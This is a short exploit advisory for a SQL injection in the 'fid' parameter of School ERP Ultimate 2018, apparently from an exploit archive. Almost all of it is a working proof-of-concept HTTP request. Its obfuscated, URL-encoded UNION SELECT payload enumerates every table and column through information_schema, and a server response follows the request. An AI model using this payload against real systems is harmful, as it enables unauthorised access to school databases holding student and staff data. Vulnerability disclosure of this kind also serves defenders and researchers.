School ERP Ultimate 2018 SQL Injection

`# Exploit Title: School ERP Ultimate 2018 - 'fid' SQL Injection  
# Dork: N/A  
# Date: 2018-10-21  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://freeschoolerp.com/  
# Software Link: http://freeschoolerp.com/schoolerp_30Nov2017_free.zip  
# Software Link: https://sourceforge.net/projects/free-school-management-system/files/latest/download  
# Version: 2018  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/student_staff/?pid=54&action=staff_timetable&fid=[SQL]  
  
GET /[PATH]/student_staff/?pid=54&action=staff_timetable&fid=-%31%20%75%6e%49%6f%4e%20%73%45%6c%45%63%74%20%31%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%33%2d%2d%20%2d HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=nno01rkuj0ql0k1sb96uhg1va1  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Sun, 21 Oct 2018 00:11:18 GMT  
Server: Apache  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 68790  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
`